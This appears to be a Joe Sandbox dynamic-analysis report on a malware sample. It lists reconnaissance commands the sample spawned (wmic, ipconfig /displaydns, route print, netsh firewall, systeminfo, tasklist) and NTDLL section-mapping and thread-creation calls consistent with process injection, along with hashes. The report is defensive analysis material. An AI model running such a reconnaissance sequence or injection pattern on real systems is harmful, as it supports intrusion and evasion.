MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:03:01
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv
Imagebase:	0x7ff7eb220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:03:04
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv
Imagebase:	0x7ff7eb220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:03:07
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv
Imagebase:	0x7ff7eb220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:03:10
Start date:	25/09/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /displaydns
Imagebase:	0x7ff7e6180000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:03:11
Start date:	25/09/2024
Path:	C:\Windows\System32\ROUTE.EXE
Wow64 process (32bit):	false
Commandline:	route print
Imagebase:	0x7ff67dbd0000
File size:	24'576 bytes
MD5 hash:	3C97E63423E527BA8381E81CBA00B8CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:03:12
Start date:	25/09/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh firewall show state
Imagebase:	0x7ff733e80000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:03:13
Start date:	25/09/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff7e1830000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:03:17
Start date:	25/09/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /v /fo csv
Imagebase:	0x7ff6e0b20000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	42.6%
Signature Coverage:	43.4%
Total number of Nodes:	122
Total number of Limit Nodes:	4

Executed Functions

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 201
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 746464f9963faf83baa7a7e4d1d503d9951592239326ed203a5fdafee77b7e4e
Instruction ID: b77a8bcfde574781322ebaec397cd5e92af5eb717990e6e7793f83a32abcc97b
Opcode Fuzzy Hash: 746464f9963faf83baa7a7e4d1d503d9951592239326ed203a5fdafee77b7e4e
Instruction Fuzzy Hash: 24615E71900244FBEB209F95CC49FAF7BB8EF85700F20412AF912BA1E5D6749A01DB69

Function 004014FE Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 304dad40bd57fde4ad2d107e796ee4bd6f67db99f64be0045c1c988ef19b7cdc
Instruction ID: 0ec8d6d4108695f7377ece7931361284e20275783593a2318d747dbe857377b0
Opcode Fuzzy Hash: 304dad40bd57fde4ad2d107e796ee4bd6f67db99f64be0045c1c988ef19b7cdc
Instruction Fuzzy Hash: 6A5129B5900209BFEB209F95CC48FEF7BB9EF85710F14412AF912BA2A5D6749901CB24

Function 00401542 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 581fa83bc263e791d9971d53db0324000e8585e44ca574a313370521a86a7cc8
Instruction ID: 759091ef041ca07c69b7a79068e02688b6544eb302bab9b440b0429bbb41aca5
Opcode Fuzzy Hash: 581fa83bc263e791d9971d53db0324000e8585e44ca574a313370521a86a7cc8
Instruction Fuzzy Hash: E85119B1900249BFEB209F91CC48FAF7BB8EF85B10F144169F911BA2A5D6749941CB24

Function 00401549 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: a43cc433937968852615b5a1196453d78d887ea4f5a0bea8b59419441baeb33d
Instruction ID: 7a8a064d68380c64131d995910f5c092f0e660b32494b1024d3e535184c76cf3
Opcode Fuzzy Hash: a43cc433937968852615b5a1196453d78d887ea4f5a0bea8b59419441baeb33d
Instruction Fuzzy Hash: 78510875900249BFEF209F91CC48FAFBBB8FF86B10F144159F911AA2A5E6709940CB24

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 29d42f42a6cc8ee6b1305037c54c44870b6144e25efa99f681edebb2ee70e80b
Instruction ID: 25abb30e6883f9026caabbb74ebb32c420b3dbd3b7f631cb87a4d5ab1caa8f11
Opcode Fuzzy Hash: 29d42f42a6cc8ee6b1305037c54c44870b6144e25efa99f681edebb2ee70e80b
Instruction Fuzzy Hash: C75118B5900209BFEF209F91CC48FAFBBB8FF85B10F144169F911BA2A5D6709940CB24

Function 00402F97 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030CB
NtTerminateProcess.NTDLL ref: 004030E4

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 1591ba869369ea84e79847af2efd18b9bf5795e6c00b1d775a4c0b4e714efbc4
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: FD414531218E0C4FD7A8EF6CA88576277D5F798311F6643AAE809D3389EA74DC1183C5

Function 0266F92E Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0266F956
Module32First.KERNEL32(00000000,00000224), ref: 0266F976

Memory Dump Source

Source File: 00000000.00000002.2139720397.000000000265D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0265D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_265d000_KTh1gQlT9a.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 0b2ada269ea223d22982d5b2df2f3f281c1e66e2d875bd8bd91b8f95e1d93372
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 7AF062315007117BE7203AB9AC8DB7EB6E8AF49729F100628E653919C0DB70E8454A65

Function 0260003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0260024D

Strings

kernel32.dll, xrefs: 0260008F, 02600095
cess, xrefs: 0260018D

Memory Dump Source

Source File: 00000000.00000002.2138650769.0000000002600000.00000040.00001000.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2600000_KTh1gQlT9a.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 38970583c4b0d8f2029b469f18cb552b7e2e82059de27bbee9bf2002265f9962
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: ED525974A01229DFDB64CF58C984BADBBB1BF09304F1480E9E54DAB391DB30AA95DF14

Function 02600E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02600223,?,?), ref: 02600E19
SetErrorMode.KERNELBASE(00000000,?,?,02600223,?,?), ref: 02600E1E

Memory Dump Source

Source File: 00000000.00000002.2138650769.0000000002600000.00000040.00001000.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2600000_KTh1gQlT9a.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: f82a6827768bfc8aed8dcca7ece3f46dddec10a89304653ab261c17e36a96948
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 47D01232245228B7DB002A94DC09BCEBB1CDF09BA6F008021FB0DE9180CBB09A4046EA

Function 004018E6 Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction ID: 08a90aa29aaa59261053d8f0d19a3ecdc4dd21bf61fce8c4d66a51d0c793aa75
Opcode Fuzzy Hash: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction Fuzzy Hash: EB11A1F660C204FAEB106AA49C61E7A3318AB40754F304137F613790F5957D9A13F66F

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction ID: d2c64d108ecd7190b789ce3c9d4f03e3911909dfd4099b6475a4add21270c3a3
Opcode Fuzzy Hash: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction Fuzzy Hash: 6D019EB7208208E6DB006AA5AC51ABA33189B44359F304537F723790F6D57D8612E72F

Function 004018F1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction ID: b5ca90d31d4069b8fd1e735589466699ca1bb5e14181e618ca72d4e2f39bbf06
Opcode Fuzzy Hash: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction Fuzzy Hash: D101D2B6608204EBDB019AF49C62A7A37549F44315F200137FA53790F1D67D8643E72F

Function 00401912 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction ID: 0621b20c29367ada74e4c9127c9a5516285bec5e68af8f441e6b7f153e3f788d
Opcode Fuzzy Hash: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction Fuzzy Hash: 11017CB560C204EAEB109AA49C61A7A3318AB44354F304537FA27790F5D67D9612E72F

Function 0266F5ED Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0266F63E

Memory Dump Source

Source File: 00000000.00000002.2139720397.000000000265D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0265D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_265d000_KTh1gQlT9a.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: aaf5384a9d92f80ddcc842b19c0128b865dc0431bfab558092ae0f6cd05aabbd
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 54113C79A00208FFDB01DF98C989E99BBF5AF08350F158094F9489B362D371EA50DF84

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction ID: ea6e3854d66af35421fcd7571e0742f45a6e64d38424a4e1b6315f5079e28d0a
Opcode Fuzzy Hash: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction Fuzzy Hash: 28F08CB6208204EADB00AEA49C61EBA3318AB44314F304533FB23790F5C67D8612E72F

Non-executed Functions

Function 0260092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 0260095F
GetProcAddress., xrefs: 026009DC, 026009DF, 026009E4
l, xrefs: 02600966

Memory Dump Source

Source File: 00000000.00000002.2138650769.0000000002600000.00000040.00001000.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2600000_KTh1gQlT9a.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 6c2e33039f4a18cdb58a5b6cd42b64b2e40d5b1acf6e1a485a5379bd2d5cfe67
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: EC3148B6900609DFDB14CF99C880BAEBBF9FF48324F15504AD841A7390D7B1EA45CBA4

Function 00403277 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc34d4c504682f2768a018a8d1fde695c1ca4eb9710677e8b81438df22d49140
Instruction ID: 21332e02fe08d71e2d2fffb8962b9a12b04fceda92f261c8de33ffcba1ea84f6
Opcode Fuzzy Hash: dc34d4c504682f2768a018a8d1fde695c1ca4eb9710677e8b81438df22d49140
Instruction Fuzzy Hash: C64158A191D6938FEB535A3448D60E27FA9E96335331845FFC441EA5C7E23E4B03825A

Function 0040324F Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd713e8a9ffb35993257ca06bb1ca9cf03b0909bce816e3c168a85f7237ff4a9
Instruction ID: 47d85a717b2f9eb1e037dbaf55b436ab29ce309417f93d286f8d159decdfda18
Opcode Fuzzy Hash: bd713e8a9ffb35993257ca06bb1ca9cf03b0909bce816e3c168a85f7237ff4a9
Instruction Fuzzy Hash: 681101A1D1D2829BDF5B1E2108655767F6C6E7331772800FFD042BA2D2E23D5B02A26F

Function 00403256 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8235a342c0a5ccfb7a676b72f8706d5939bc8c2cb4e96ca567b58c971c6cfde2
Instruction ID: 44dbed29d4116881d315b966fbacf1cf40a73d3247e8d5490da27da81908206f
Opcode Fuzzy Hash: 8235a342c0a5ccfb7a676b72f8706d5939bc8c2cb4e96ca567b58c971c6cfde2
Instruction Fuzzy Hash: 091120A1D1C2825BDF9B1E204C645B27F6C6A7332371800FFE402BA2D6E23D1B03925E

Function 00403247 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f11a235e0e08faed31d233c350fe522c88a0f226e8326adf6e177ce42ec05621
Instruction ID: 6cc5313a22b02943346cb09be328e63b116041f9455492dba296d6b6c8d47a80
Opcode Fuzzy Hash: f11a235e0e08faed31d233c350fe522c88a0f226e8326adf6e177ce42ec05621
Instruction Fuzzy Hash: 0111E0A1C1D2829BDF5A2E2108648767F6C6A7731772800FFD042FA2D6E23D5B03A15F

Function 0040326C Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ec03d413cbbfde9ae04b67bfcc6c031395faee012b42a8efe698a5ecb0e7cee
Instruction ID: 83c2e45a663ff97a83121d71df7fde14c7d1be506299b7fe0adcc4aca9f65d16
Opcode Fuzzy Hash: 9ec03d413cbbfde9ae04b67bfcc6c031395faee012b42a8efe698a5ecb0e7cee
Instruction Fuzzy Hash: 3211CBA1C1D2825BDFAA1E2108544B67F6CAA7771771400FFD402BA2D6E23D5B02929E

Function 0266F20B Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2139720397.000000000265D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0265D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_265d000_KTh1gQlT9a.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 462ddb0c0d891abfaf7b668c3e140b9cb3c0f520e0d1922a52c7d74fc628237d
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
